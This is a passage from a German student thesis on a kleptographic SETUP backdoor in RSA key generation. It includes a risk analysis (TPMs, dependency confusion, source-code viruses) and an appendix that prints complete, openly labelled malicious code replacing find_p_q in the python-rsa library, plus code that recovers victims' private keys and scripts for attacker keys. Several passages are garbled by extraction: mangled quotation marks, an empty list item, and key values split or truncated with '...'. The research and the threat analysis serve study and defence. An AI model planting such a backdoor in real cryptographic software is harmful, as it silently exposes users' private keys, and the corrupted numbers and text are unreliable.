Diese Primzahl P wird dann mittels des öffentlichen Schlüssels des Angreifers zu vP asymmetrisch verschlüsselt 4.4.2.

Die Funktion "padded_concatenation_in_binary"rechnet zwei Integer von Base 10 zu Base 2, padded mit "0"(most significant Bits) diese jeweils zu einer Länge von $nbits$.

Diese Funktion wird genutzt um das $minQ$ und $maxQ$ zu berechnen folgend 6.3 und 6.4.

Die Funktion "find_prime_in_boundsßucht für ein gegebenen "minQünd "maxQ"die kleinste Primzahl in dem Interval $[minQ, maxQ]$ zurück.

Mit dieser Funktion wird Q mittels $minQ$ und $maxQ$ bestimmt.

Darauf wird mit der Funktion ïs_acceptable"geprüft, $P = Q$ oder $n \neq \overline{P \cdot Q}$ ist. Wenn ja muss neu berechnet werden.

Als Rückgabewert liefert die ___find_p_q-Funktion P und Q zurück, wobei als P der größere

[3] DIMGT 2021, S. 1.

Primfaktor und als Q der kleinere Primfaktor zurückgegeben wird. Dies ist zwar nicht relevant für den RSA-Algorithmus selbst, ist aber Vorgabe für gewisse Speicherformate für private Schlüssel (siehe "Notes on practical applications.1")[4]. Zudem wird dies von der originalen Funktion auch gleich behandelt. Dies verhindert, dass eine Überprüfung auf eine solche Eigenschaft genutzt werden kann, um auf diese SETUP kryptoanalytisch zu prüfen.

Die weiteren Schritte der Schlüsselerstellung 4.4.3, 4.4.3 und 4.4.3 sind gleich zu der normalen Schlüsselgenerierung und wird von anderen, unveränderten Funktionen von python-rsa übernommen.

An der hier beschriebenen Funktion können folgende Operationen optimiert werden:

1. Laden der Angreiferschlüssel durch reinen python code (keine Verwendung von "path")
2. Wenn ïs_acceptable"fehlschlägt, können noch andere Kandidaten für Q geprüft werden.
3.

Ersteres soll Analyse auf Unterschiede in der Dependency Chain der Bibliothek mit SETUP zu der Dependency Chain der originalen Bibliothek vorbeugen. Zweites sollte nie eintreten, da durch die Optimierung von $\overline{P}$ durch x, dafür sorgt, dass $\overline{Q} = \frac{n}{2} + x$ entspricht, da $\overline{N'} = \overline{P} + \overline{Q}$.

Jedoch müssen auf dem System je unterstütztem *nbits* ein öffentlicher Schlüssel des Angreifers vorliegen.

6.2.2 Bestimmen der Geheimnisse

Die Implementation der Schlüsselextraktion wird in drei Funktionen unterteilt, die Teil der ättackUtil"Klasse sind. Bei Initialisierung dieser Klasse wird der private Schlüssel des Angreifers übergeben, sowie die öffentlichen Parameters des (womöglich) manipulierten Schlüssels, sowie dessen RSA-Bitlänge, als $n = \overline{N}$ des manipulierten Schlüssels.

Der Quellcode ist unter diesem Link zu finden: `https://github.com/MeNoSmartBrain/RSA_Kleptography_Studienarbeit/tree/main/code/codeSplit`

Die erste Funktion extrahiert aus dem öffentlichen Modulus N, die most significant bits vP.

```
1 def extract_vP(self):
2     self.vP1 = rsaUtil.split_in_binary(self.public_N, self.
          rsa_bit_len)[0]
3     self.vP2 = self.vP1 + 1
```

Hierbei muss wie bereits in 4.4.4 besprochen auch neben vP auch $vP' = vP + 1$ (hier: $vP1$ und $vP2$) als möglicher verschlüsselter Schlüsselkandidat, aufgrund eines Überlaufs bei der Addition in 4.4.2.

Mit der Funktion "get_prime_faktors"werden, vP und vP' mittels dem privaten Schlüssel des Angreifers zu P und P' (hier: $P1$ und $P2$) entschlüsselt. Durch die Division des öffentlichen Modulus N und den Kandidaten für die Primfaktoren, wird der Primfaktor Q bestimmt. Dabei kann hier, wie in 6.1.2 erläutert, bestimmt werden, welcher der beiden Kandidaten für P korrekt ist.

```
1 P1 = rsaUtil.decrypt(self.vP1, self.attackerKey.D, self.
      attackerKey.N)
```

[4] DIMGT 2021, S. 1.

```
2   P2 = rsaUtil.decrypt(self.vP2, self.attackerKey.D, self.
        attackerKey.N)
3
4   Q1 = self.public_N // P1
5   Q2 = self.public_N // P2
6
7   if P1 * Q1 == self.public_N:
8       self.P = max(P1, Q1)
9       self.Q = min(P1, Q1)
10  elif P2 * Q2 == self.public_N:
11      self.P = max(P2, Q2)
12      self.Q = min(P2, Q2)
13  else:
14      print("Prime␣factors␣couldn't␣be␣recovered.␣Either␣non␣
            compromised␣publicKey␣or␣programming␣error!")
15      raise
```

Hierbei kann auch erkannt werden, ob ein Schlüssel bzw. dessen Implementation manipuliert / kompromittiert wurde.

Zuletzt wird aus den extrahierten Primfaktoren P und Q der gesamte Schlüssel nachgerechnet. Dies erfolgt nach der in 3.1 aufgeführten Abfolge. Jedoch wird ken zufälliger öffentlicher Schlüssel e gewählt, sondern der Wert aus dem übergebenen manipulierten Schlüssel übernommen. Somit kann der exakt gleiche Schlüssel nachgebildet werden, wenn die Kompromittierung des Krytposystems erfolgreich war.

```
1   self.PhiN = rsaUtil.calc_phi_n(self.P, self.Q)
2   self.N = self.public_N
3
4   created = False
5   while not created:
6       try:
7           self.E = self.public_E
8           self.D = rsaUtil.modular_multiplicative_inverse(self.E,
                self.PhiN)
9           created = True
10      except ValueError:
11          print("Trying␣to␣generate␣Key␣failed.␣Trying␣again␣...")
```

Die Berechnung der Modularen Inversen sollte zwar nicht scheitern, da der Schlüssel mit den Parametern P, Q und E schon erfolgreich erzeugt wurde.

Kapitel 7

Risikoanalyse

In dieser Risikoanalyse (engl. Threat Assessment) wird die Gefahr analysiert und evaluiert, welche kleptographische Angriffe auf kryptographische Softwarebibliotheken bilden.

Kleptographische Angriffe sind in der Lage, bei erfolgreichem Einsatz, kryptographische Systeme zo kompromittieren. Dadurch ist es für den Angreifer des kleptographischen Angriff möglich, die vom Nutzer verwendeten Krytposysteme zu brechen. Dadurch kann es zu Verletzung der Sicherheitsziele, Vertraulichkeit, Integrität und Authentizität, kommen. Ein Angreifer, kann somit in Namen des Opfers kommunizieren bzw. signieren, die Verschlüsslung zwischen Opfer und dritten Mitlesen und den Datenstrom manipulieren. Dies kann z.B. durch einen Man-In-The-Middle Angriff erfolgen wobei sich der Angreifer unentdeckt gegenüber zwei Kommunikationspartners als der jeweils andere ausgibt und als Zwischenstelle fungiert.

Durch die SETUP wird vermieden, dass versteckte Kanäle genutzt werden müssen. Dies ist einerseits hilfreich um Untersuchungen zu umgehen, welche z.B. Netzwerkverkehr auf diese analysieren. Andererseits weitet diese Eigenschaft den Einsatzbereich von kleptographischen Angriffen aus. Durch die Manipulation der Daten, welche selbstständig durch den Nutzer veröffentlicht werden, können auch Krytposysteme, welche keinen direkten Zugang zu versteckten Kanälen (hier: Netzwerk) haben, durch kleptographische Angriff kompromittiert werden. Dies ist besonders Sichtbar am Beispiel von TPMs, da keine Netzwerkschnittstelle haben. Somit können durch kleptographische Angriffe sowohl stark überwachte als auch sehr isolierte Krytposysteme kompromittiert werden.

7.1 Angriffsziele

7.1.1 TPM

TPM stellten die gefährlichsten Kryptosysteme dar, falls diese mit z.B. einer SETUP versehen würde. TPMs werden nur von wenigen Herstellern produziert und ihr Programmcode ist nach der Fertigung nicht manipulierbar. Zudem stellten TPMs eine Back-Box dar, wodurch Quellcode-Analyse bzw. Reverse-Code-Engineering erschwert werden. Somit kann ein Angriff schlechter belegt bzw. erkannt werden. Eine kleptographische Backdoor, welche in einem TPM entdeckt wird, impliziert mit hoher Wahrscheinlichkeit eine Kompromittierung aller TPMs dieses Herstellers. Anderenfalls würde das Risiko bestehen, dass die Unterscheide zwischen TPM über Seitenkanäle analysierbar sind. Der potenzielle Schaden durch eine Kompromittierung von TPMs ist dabei am größten.

Die Wahrscheinlichkeit, dass ein solcher Angriff erfolgreich wäre, ist sehr gering. Durch die Unveränderlichkeit des Programmcodes können solche Schwachstellen nicht nach der Herstellung erzeugt werden. Der Angriff müsste also vom Hersteller oder einem Teil dessen Lieferkette durchgeführt werden.

7.1.2 Krytpo-Bibliotheken

Krypto-Bibliotheken sind ein bisher wenig erforschtes Einsatzgebiet für kleptographische Angriffe. Dabei ist das Risiko zwischen proprietärer und Open-Source-Software zu unterscheiden.

Proprietäre Software Hersteller proprietärer Software können ähnlich zu Herstellern von TPMs kleptographische Backdoor in ihre Produkte einbauen. Hierbei liegt auch eine Black-Box vor. Der Unterschied liegt in der Veränderbarkeit des Codes. Ein Hersteller oder ein Sourcecode-Virus kann nachträglich den Quellcode einer kleptographischen Backdoor versehen. Nutzer der Software können durch das geschlossene Design nur schwer überprüfen, ob sie angegriffen werden. Proprietäre Software bieten Herstellern dir Möglichkeit ihren Nutzern End-zu-End-Verschlüsselung zu versprechen und trotzdem Einsicht in die Kommunikation erlangen.

Open-Source-Software Open-Source-Software bietet Nutzern Sicherheit, indem sie in der Lage sind, selbst die verwendete Software auf Backdoors zu überprüfen. Jedoch ergibt sich durch die mehrstufigen Abhängigkeitsbeziehungen heutiger Open-Source-Software, die Möglichkeit eines Dependency Confusion Angriffs 7.2.1.

7.2 Angriffsvektoren

Angriffsvektoren beschreiben die Wege über welche eine Angriff auf einem Zielsystem ausgeführt werden kann.

7.2.1 Dependency Confusion

Grundfunktionen moderner Software jeglicher Hersteller basiert auf durch Open-Source-Software zur Verfügung gestellten Bibliotheken. Somit müssen sich Softwareentwickler nicht bei jedem Projekt neu damit befassen, Warteschlangen, Multithreading, Netzwerkprotokolle, kryptographische Funktionen, ... für ein neues Produkt zu entwickeln. Dieses Bereitstellen von Funktionalität wird durch Dependency (Abhängigkeiten) verwaltet. Dabei können Dependencies auch weitere Dependencies inherent haben. Somit spannt jede Dependency eines Softwareprodukts einen nicht zyklischen Graphen an Dependencies auf. Dabei werden Dependencies regelmäßig mit Sicherheitsupdates und neuen Features unter einer neuen Version aktualisiert. Um auf dem neuesten Stand zu sein, wird von einer Dependency die neuste Version geladen. Dependency Confusion manifestiert sich auf zwei Arten. Der Entwickler des Produkts oder einer im Dependency Graphen des Produkts vorkommenden Dependencies verweist mit einer Dependency auf eine kompromittierte, andere Bibliothek. Oder indem eine bestehenden Dependency im Graphen kompromittiert wird.

7.2.2 Sourcecode-Viren

Sourcecode-Viren verändern während ihrer Laufzeit den Quellcode einer Anwendung oder Dependency. Somit können lokale (zwischen-)gespeicherte Dependencies verändert bzw. kompromittiert werden. Der Angreifer braucht hierfür jedoch die Möglichkeit Code (den Virus) auf dem Zielsystem auszuführen.

Kapitel 8

Fazit

Die Sicherheit moderner kryptographischer Verfahren basiert auf der Geheimhaltung der Schlüssel und auf der Unberechenbarkeit schwerer mathematischer Probleme in vertretbarer Zeit. Kleptographische Angriffe stellen ein Risiko für moderne Software dar. Durch einen SETUP ist es Angreifern möglich geheime Daten zu erlangen, wobei nur die vom Nutzer selbst veröffentlichten Daten genutzt werden. Kleptographie von kryptographischen Systemen ist dabei besonders gefährlich, da somit die Schutzziele der IT-Sicherheit, Vertraulichkeit, Integrität und Authentizität, verletzt werden können. Durch einen erfolgreichen Angriff auf ein RSA-Kryptosystem, kann der Angreifer sich als Opfer authentifizieren und Kommunikation entschlüsseln und manipulieren. Der in dieser Arbeit behandelte, kleptographische Angriff erzeugt eine SETUP. Dadurch wird der öffentliche Modulus eines erzeugten Schlüssels manipuliert, sodass die most significant Bits des Modulus dem verschlüsselten Primfaktor P entsprechen. Somit veröffentlicht der Nutzer den manipulierten Schlüssel und somit den Primfaktor selbst, wenn er den öffentlichen Schlüssel publiziert. Die Verschlüsselung ist einen asymmetrische RSA-Chiffre mit einem öffentlichen Schlüssel des Angreifers. Dadurch ist es nur dem Angreifer persönlich möglich den Primfaktor zu entschlüssel. Reverse-Engineering kann dabei nur den Angriff feststellen, aber nicht selbst benutzen.

Der Angriff wurde erfolgreich in die Open-Source-Bibliothek "python-rsaïmplementiert. Wenn ein Programm, welches in seinem Dependency Graphen auf diese kompromittierte Dependency verweist, einen Schlüssel erzeugt, kann ein Angreifer, wenn in Besitz des entsprechenden privaten Schlüssels die geheimen Schlüsselparameter bestimmen. Abgesehen von dieser Schwachstelle werden vollständig sichere und funktionierende RSA-Schlüssel erzeugt.

Die Algorithmen zur Erzeugung eines manipulierten Schlüssels und zur Extraktion der geheimen Parameter wurden im Laufe der Arbeit optimiert und genauer dokumentiert.

Für einen erfolgreichen Angriff der hier aufgezeigten Art, benötigt eine Angreifer die Möglichkeit Code auf die Zielsystem auszuführen und damit Programmcode zu ändern oder die Manipulation der kryptographischen Softwarebibliothek oder von Dependencies, welche zur Schlüsselerzeugung auf dem Zielsystem genutzt wird.

Kapitel 9

Ausblick

In der Arbeit wurde erfolgreich ein kleptographischer Angriff in eine verbreitete Software-Bibliothek für kryptographische Operationen in python durchgeführt.

Für die Vermeidung von Angriffen ist die Sicherheit von Dependency Chains / Graphen wichtig. Die Sicherheitsmaßnahme der einzelnen Dependency Manager, wie pip, npm und maven zu betrachten, sollte Teil zukünftiger Forschung in dem Themengebiet sein.

Zudem müssen effektive Maßnahmen entwickelt werden um absichtliche kleptographische Backdoors durch Hersteller von proprietärer Software oder TPMs zu vermeiden. Dabei wird ein offenerer Designansatz eine große Rolle spielen.

Die Analyse über Seitenkanäle, wie u.a. das Messen von Zeit wurde bei dieser Arbeit außer acht gelassen, da fast alle software-basierten Krypto-Systeme auf diese Art angreifbar sind.

Die aufgezeigt Methodik zur Berechnung der manipulierten Schlüssel und der Extraktion derer geheimen Parameter wurde optimiert, könnte aber noch durch effizientere Algorithmen zur Suche einer Primzahl innerhalb eines Intervals oder dem chinesischen Restsatz zur effizienteren Modulo-Rechnung weiter optimiert werden.

Der Author dieser Arbeit geht nicht davon aus, dass das Thema der Kleptographie in in nächsten Jahren viel Beachtung finden wird außerhalb von Forschern in Kryptographie. Kleptographie, insbesondere SETUP stellen eine erhebliche Gefahr da. Gegenmaßnahmen werden diesbezüglich solange als zu unpraktikable gesehen, bis es zu einem größeren Sicherheitsvorfall kommt.

Anhang A

Anhang

Aller hier angegebenen Codestellen können in diesen GitHub-Repositories gefunden werden (Stand 15.05.2022).

- `https://github.com/MeNoSmartBrain/kelpto-python-rsa/blob/main/rsa/key.py`
- `https://github.com/MeNoSmartBrain/RSA_Kleptography_Studienarbeit/tree/main/code/codeSplit`

Programmcode, welcher zu key.py der python-rsa Bibliothek hinzugefügt wurde:

```
# ------------ Malicious code starts here ------------
"""
Two options for manipulating with the find_p_q function:

1. Option:
    - Before runtime store find_p_q in a variable (__find_p_q)
    - Delete the original find_p_q function
    - ***Attack-Step***
2. Option:
    - At runtime import sys
    - Store the runtime function find_p_q in a variable (__find_p_q)
    - ***Attack-Step***
    - Afterwards replace the runtime function with the overwritten function find_p_q

Attack-Step:
    - Replace the original find_p_q function with the new one
    - Call the new function with the same arguments
    - After receiving p and q by call __find_p_q with the same arguments
    - With p and the public key of the attacker calculate the new q
    - return the p and the new q
"""
```

```
22
23  """
24  # Option 1
25  """
26  del find_p_q  # This might not be necessary, but could avoid a
        warning about the shadowed name.
27
28  """
29  # Option 2 --- Part 1
30  """
31  # import sys
32  # __find_p_q = sys.modules['rsa.key'].find_p_q
33
34  """
35  Attack-Step:
36  """
37
38
39  def find_p_q(
40          nbits: int,
41          getprime_func: typing.Callable[[int], int] = rsa.prime.
                getprime,
42          accurate: bool = True,
43  ) -> typing.Tuple[int, int]:
44      """
45      This methode shows a kelptographic attack on the python-rsa
            package.
46      Using a RSA-public key of the attacker in the root-directory
            the return value q is manipulated affecting
47      the product of p and q, the public modulus. After a
            successful attack the attacker can derive the value
48      of q from the public modulus, using the private key of the
            attacker.
49      """
50      supported_nbits = [32, 64, 128, 256, 512, 1024]
51      if nbits not in supported_nbits:
52          raise ValueError("Unsupported␣nbits")
53
54      # TODO pure python implementation path
55      from os import path
56      resources_dir = path.dirname(path.dirname(__file__))
57
58      in_file = open(resources_dir + '\\attack_key_' + str(nbits),
            'rb')
59      attack_key = rsa.key.PublicKey.load_pkcs1(in_file.read())
60      in_file.close()
```

```
61
62      """
63      There are multiple options for the optimizer. The optimizer
           in general limits the value of p. Normally
64      this is not intended in the RSA-algorithm but it helps with
           the runtime of the attack / generation.
65      By incrementing the optimizer by one the margin between lower
            and upper bound of q roughly doubles.
66      On the alternative the RSA-algorithm intends to set such
           limitations for q (Condition 5):
67      bit_size(q) <= nbits - nbits/2.
68      Since the optimizer is subtrahend of the minuend nbits and p
           and q are interchangeable within the
69      prime factor generation, the optimizer is set to nbits/2.
70      """
71      optimizer = nbits // 2
72
73      created = False
74      while not created:
75          """
76          Generate the prime factor p. Following these instructions
               :
77
78          To generate the primes p and q, ...
79
80          Condition 1:
81          generate a random number of bit length k/2 where k is the
               required bit length of the modulus n;
82
83          Condition 2:
84          set the low bit (this ensures the number is odd) and
85
86          Condition 3:
87          set the two highest bits (this ensures that the high bit
               of n is also set);
88
89          Condition 4:
90          check if prime (use the Rabin-Miller test); if not,
               increment the number by two and check again
91          until you find a prime. This is p.
92
93          Condition 5:
94          Repeat for q starting with a random integer of length k -
               k/2.
95
96          Condition 6:
```

```
97          If p<q, swop p and q (this only matters if you intend
               using the CRT form of the private key).
98
99          Condition 7:
100         In the extremely unlikely event that p=q, check your
               random number generator!
101
102         Condition 8:
103         Alternatively, instead of incrementing by 2, just
               generate another random number each time.
104
105         https://www.di-mgt.com.au/rsa_alg.html#crt
106
107         Condition 1 is met by calling the find_p_q function with
               (nbits // 2) as argument.
108         Condition 2 is met by the given implementation of python-
               rsa using the check in is_prime.
109         Condition 3 is met not met at the moment due to a lack of
                implementation in python-rsa. But there is
110             a check a the end of the is_acceptable function
                   within the original find_p_q function. This check
111             ensures that the high bit of n is set. This is also
                   the end goal of condition 3. Therefore it is meet
112             indirectly.
113         Condition 4 is met by calling rabimiller_test with the
               generated p in the is_prime function.
114         Condition 5 cannot be met due to q being calculated and
               not generated.
115         Condition 6 is met by returning max(p, q) as p and min(p,
                q) as q.
116         Condition 7 is check by the is_acceptable function.
117         Condition 8 is used in the python-rsa implementation as
               seen in the get_prime function.
118         """
119         p = getprime_func(nbits - optimizer)
120
121         try:
122             vP = rsa.core.encrypt_int(p, attack_key.e, attack_key
                   .n)
123
124             def padded_concatenation_in_binary(prev, tail):
125                 prev = "{0:b}".format(prev)
126                 tail = "{0:b}".format(tail)
127                 prev = "0" * (int(nbits) - len(prev)) + prev
128                 tail = "0" * (int(nbits) - len(tail)) + tail
129
```

```
130                 return int(prev + tail, 2)
131
132             min_bit_construct_Q = padded_concatenation_in_binary
                    ((vP - 1), 0)
133             max_bit_construct_Q = padded_concatenation_in_binary(
                    vP, pow(2, nbits // 2) - 2)
134             lower_bound_Q = (min_bit_construct_Q // p)
135             upper_bound_Q = (max_bit_construct_Q // p)
136
137             def find_prime_in_bounds(lower_bound, upper_bound):
138                 for prime_candidate in range(lower_bound,
                        upper_bound + 1):
139                     if rsa.prime.is_prime(prime_candidate):
140                         return prime_candidate
141                 else:
142                     raise ValueError("Margin to small: ",
                            lower_bound, upper_bound)
143
144             q = find_prime_in_bounds(lower_bound_Q, upper_bound_Q
                    )
145
146             def is_acceptable(p: int, q: int) -> bool:
147                 if p == q:
148                     raise ValueError("Condition 7 not satisfied."
                            )
149
150                 if not nbits * 2 == rsa.common.bit_size(p * q):
151                     raise ValueError("Condition 3 not satisfied."
                            )
152
153             is_acceptable(p, q)
154
155             created = True
156
157         except OverflowError:
158             pass
159         except ValueError:
160             pass
161
162     return max(p, q), min(p, q)
163
164
165 """
166 # Option 2 --- Part 2
167 """
168
```

```
169 # sys.modules['rsa.key'].find_p_q = find_p_q
170
171 # ------------ Malicious code ends here ------------
```

Programmcode zur Extraktion der Schlüsselparameter, durch gegebenen öffentlichen Schlüsseln des Ziels und privaten Schlüssel des Angreifers:

```
1   import rsaUtil
2   import key
3
4
5   class AttackUtil:
6
7       def __init__(self, attackerKey, public_E, public_N,
            public_rsa_bit_len):
8           self.D = None
9           self.E = None
10          self.N = None
11          self.PhiN = None
12          self.Q = None
13          self.P = None
14          self.vP2 = None
15          self.vP1 = None
16          self.public_N = public_N
17          self.public_E = public_E
18          self.attackerKey = attackerKey
19          self.rsa_bit_len = public_rsa_bit_len
20
21      def attack(self):
22          self.extract_vP()
23          self.get_prime_factors()
24          self.calc_key_params()
25          return self.return_params_as_key()
26
27      def extract_vP(self):
28          self.vP1 = rsaUtil.split_in_binary(self.public_N,
                self.rsa_bit_len)[0]
29          self.vP2 = self.vP1 + 1
30
31      def get_prime_factors(self):
32          P1 = rsaUtil.decrypt(self.vP1, self.attackerKey.D,
                self.attackerKey.N)
33          P2 = rsaUtil.decrypt(self.vP2, self.attackerKey.D,
                self.attackerKey.N)
34
35          Q1 = self.public_N // P1
36          Q2 = self.public_N // P2
37
38          if P1 * Q1 == self.public_N:
39              self.P = max(P1, Q1)
```

```
40                  self.Q = min(P1, Q1)
41              elif P2 * Q2 == self.public_N:
42                  self.P = max(P2, Q2)
43                  self.Q = min(P2, Q2)
44              else:
45                  print("Prime␣factors␣couldn't␣be␣recovered.␣
                        Either␣non␣compromised␣publicKey␣or␣
                        programming␣error!")
46                  raise
47
48          def calc_key_params(self):
49              self.PhiN = rsaUtil.calc_phi_n(self.P, self.Q)
50              self.N = self.public_N
51
52              created = False
53              while not created:
54                  try:
55                      self.E = self.public_E
56                      self.D = rsaUtil.
                            modular_multiplicative_inverse(self.E,
                            self.PhiN)
57                      created = True
58                  except ValueError:
59                      print("Trying␣to␣generate␣Key␣failed.␣Trying␣
                            again␣...")
60
61          def return_params_as_key(self):
62              ret_key = key.Key(self.rsa_bit_len)
63              ret_key.set_key_params(self.P, self.Q, self.PhiN,
                    self.N, self.E, self.D)
64
65              return ret_key
```

Code zur Erstellung von beispielhaften Schlüsseln:

```
"""
This script creates public keys from the here listed parameters.

These keys can be used for demonstration purposes. They are valid but not secure in the sense that
all there secrets are public. Use these to demonstrate the kleptographic attack on the RSA algorithm.

For the attack itself only the public key is needed aka. the public key modulus and the public key exponent.

The other parameters are used to validate the attack later on.
"""

import rsa.key


"""
RSA-32 attack key for RSA-64
"""
attack_key_32bit = {
    "bits": 32,
    'P': 55711,
    'Q': 52267,
    'PhiN': 2911738860,
    'N': 2911846837,
    'E': 65537,
    'D': 2586563513
}

"""
RSA-64 attack key for RSA-128
"""
attack_key_64bit = {
    "bits": 64,
    'P': 3337805567,
    'Q': 3588638527,
    'PhiN': 11978177646444835716,
    'N': 11978177653371279809,
    'E': 65537,
    'D': 8251686289907860337
}
```

```
40
41      """
42      RSA-128 attack key for RSA-256
43      """
44      attack_key_128bit = {
45          "bits": 128,
46          'P': 17710801766177235259,
47          'Q': 18091019263583148667,
48          'PhiN': 320406455925414815348297473514270865828,
49          'N': 32040645592541481538409929454403124 9753,
50          'E': 65537,
51          'D': 160640788086077788161105305167034074025
52      }
53
54      """
55      RSA-256 attack key for RSA-512
56      """
57      attack_key_256bit = {
58          "bits": 256,
59          'P': 3118344847189830409...,
60          'Q': 2807599999685083895...,
61          'PhiN': 87550649919881508...,
62          'N': 87550649919881508449...,
63          'E': 65537,
64          'D': 25562379819291891056...
65      }
66
67      """
68      RSA-512 attack key for RSA-1024
69      """
70      attack_key_512bit = {
71          "bits": 512,
72          'P': 11252199443740...,
73          'Q': 11231264183922...,
74          'PhiN': 12637642460283227912...,
75          'N': 126376424602832279124534...,
76          'E': 65537,
77          'D': 93697155369510664855900032...
78      }
79
80      """
81      RSA-1024 attack key for RSA-2048
82      """
83      attack_key_1024bit = {
84          "bits": 1024,
85          'P': 100812241889570223013691...,
```

```
86          'Q': 109123938167803778479876973 53...,
87          'PhiN': 11001028850515138968889471927718 55...,
88          'N': 1100102885051513896888947192...,
89          'E': 65537,
90          'D': 60677966780356324434657770 6...
91      }
92
93      key_list = [attack_key_32bit, attack_key_64bit,
            attack_key_128bit, attack_key_256bit, attack_key_512bit,
            attack_key_1024bit]
94
95      for key in key_list:
96          temp_pub_key = rsa.key.PublicKey(key['N'], key['E'])
97          out_file = open('attack_key_' + str(key['bits']), 'wb')
98          out_file.write(temp_pub_key.save_pkcs1())
99          out_file.close()
```

Programmcode zur Eingabe und Verarbeitung von öffentlichen Schlüsseln:

```
    def main():
    # Choose bits for the user key
    nbits = int(input("Enter the number of bits for the key: "))
    public_e = int(input("Enter the public exponent: "))
    public_n = int(input("Enter the public modulus: "))

    for key_member in attack_key_list:
        if key_member['bits'] == (nbits // 2):
            attack_key_params = key_member
            break
    else:
        raise ValueError("Unsupported key size")

    k_attacker = key.Key(nbits // 2)

    k_attacker.set_key_params(attack_key_params['P'],
                              attack_key_params['Q'],
                              attack_key_params['PhiN'],
                              attack_key_params['N'],
                              attack_key_params['E'],
                              attack_key_params['D'])

    print("Used attacker key: ", attack_key_params)

    attack = attackUtil.AttackUtil(k_attacker, public_e, public_n
        , nbits)
    extracted_key = attack.attack()
    print("Extracted key: ", extracted_key)
    print("
       ----------------------------------------------------------")
    print("P: ", extracted_key.P)
    print("Q: ", extracted_key.Q)


def automized():
    def print_private_key(private_key):
        print("Private Key: " + str({
            'n': private_key.n,
            'e': private_key.e,
            'd': private_key.d,
            'p': private_key.p,
            'q': private_key.q,
        }))

```

```
43      nbits = 1024
44
45      keyPair = rsa.newkeys(nbits)
46
47      publicKey = keyPair[0]
48      privateKey = keyPair[1]
49
50      print("P:", privateKey.p)
51      print("Q:", privateKey.q)
52      print_private_key(privateKey)
53
54      print("
           ----------------------------------------------------------")
55      print("Public-Key:␣")
56      print("E:", publicKey.e)
57      public_e = publicKey.e
58      print("N:", publicKey.n)
59      public_n = publicKey.n
60
61      for key_member in attack_key_list:
62          if key_member['bits'] == (nbits // 2):
63              attack_key_params = key_member
64              break
65      else:
66          raise ValueError("Unsupported␣key␣size")
67
68      k_attacker = key.Key(nbits // 2)
69
70      k_attacker.set_key_params(attack_key_params['P'],
71                                attack_key_params['Q'],
72                                attack_key_params['PhiN'],
73                                attack_key_params['N'],
74                                attack_key_params['E'],
75                                attack_key_params['D'])
76
77      print("Used␣attacker␣key:␣", attack_key_params)
78
79      attack = attackUtil.AttackUtil(k_attacker, public_e, public_n
           , nbits)
80      extracted_key = attack.attack()
81      print("Extracted␣key:␣", extracted_key)
82      print("
           ----------------------------------------------------------")
83      print("P:␣", extracted_key.P)
84      print("Q:␣", extracted_key.Q)
```

Literatur

Beutelspacher, Albrecht [2015]. *Kryptologie*. springer [siehe S. 9, 10].

Beutelspacher, Albrecht, Jörg Schwenk und Klaus-Dieter Wolfenstetter [2015]. *Moderne Verfahren der Kryptographie*. springer [siehe S. 7, 8, 12, 14].

dimgt [2021]. *RSA Algorithm*. `https://www.di-mgt.com.au/rsa_alg.html`. (Accessed on 05/13/2022) [siehe S. 27, 31, 32].

FX., Standaert und Quisquater JJ. [2011]. *Time-Memory Trade-offs*. `https://doi.org/10.1007/978-1-4419-5906-5_137` [siehe S. 14].

Gupta, Sounak und Goutam Paul [Okt. 2009]. »Revisiting Fermat's Factorization for the RSA Modulus«. In: [Siehe S. 27].

Markelova, Aleksandra V. [2020]. *Embedding asymmetric backdoors into the RSA key generator*. springer [siehe S. 19].

MIT [2015]. *Generic algorithms for the discrete logarithm problem*. `https://math.mit.edu/classes/18.783/2015/LectureNotes10.pdf`. (Accessed on 05/03/2022) [siehe S. 12].